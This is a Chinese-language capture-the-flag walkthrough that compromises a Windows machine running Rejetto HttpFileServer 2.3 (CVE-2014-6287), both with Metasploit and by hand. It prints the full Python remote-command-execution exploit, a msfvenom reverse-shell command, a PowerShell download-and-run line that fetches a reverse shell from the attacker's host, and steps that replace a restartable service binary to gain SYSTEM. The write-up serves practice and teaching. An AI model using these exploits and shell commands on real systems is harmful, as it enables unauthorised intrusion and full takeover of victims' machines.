先用nmap扫描端口:
它在8080端口运行着HttpFileServer 。
使用msf
按照题目要求,使用msf查找可用的漏洞:
设置必要的参数,然后exploit
顺利得到第一个flag
下一步要提权,先下载powerup ,然后上传到目标机器
在meterpreter加载powershell
运行powerup
其中AdvancedSystemCareService9的CanRestart是true。也就是说系统中的service可以重启,我们可以用自己制作的service代替它
ServiceName : AdvancedSystemCareService9 Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'AdvancedSystemCareService9' -Path <HijackPath>
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.40.8 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
使用上面的命令用msfvenom制作一个反弹shell,并上传到目标机器。如下所示:
在替换目标exe前我们要先停止该服务。
sc stop AdvancedSystemCareService9
把上传的Advanced.exe替换Advanced SystemCare里的ASCService.exe。并在本地用nc开启4443端口进行监听。一切都成功后,重新开启服务
sc start AdvancedSystemCareService9
成功进入系统并获得root
不用msf
按照题目要求,现在尝试不用msf。
先用searchsploit找到httpfileserver的漏洞并下载利用脚本。脚本如下:
#Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: Óscar Andreu
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
#!/usr/bin/python3
# Usage : python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"
import urllib3
import sys
import urllib.parse
try:
http = urllib3.PoolManager()
url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}'
print(url)
response = http.request('GET', url)
except Exception as ex:
print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
print(ex)
reverse-shell 我们下载左边这个reverse shell,然后下载winPEAS,开启python的http服务,开启nc 4444监听端口。一切都准备好了,就可以输入下面的命令:
python3 exp.py 10.10.248.198 8080 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.38.166:8888/mini-reverse.ps1')"
这是我们看到类似下面的响应,也就是它已经从本地机器上下载reverse-shell到目标机器。
跟之前一样,我们可以轻易找到user的flag
然后我们的监听端口也有相应:
为了提权,我们要下载winPEAS到目标机器:
接下来只要运行winPEAS,然后接下来的操作就跟之前一模一样:现在本地生成一个程序:
停止服务
下载刚生成的程序到目标机器
用下载的程序替换原来的ASCService.exe,然后在本地开启4443端口监听,最后重启服务
现在4443端口有响应,大功告成: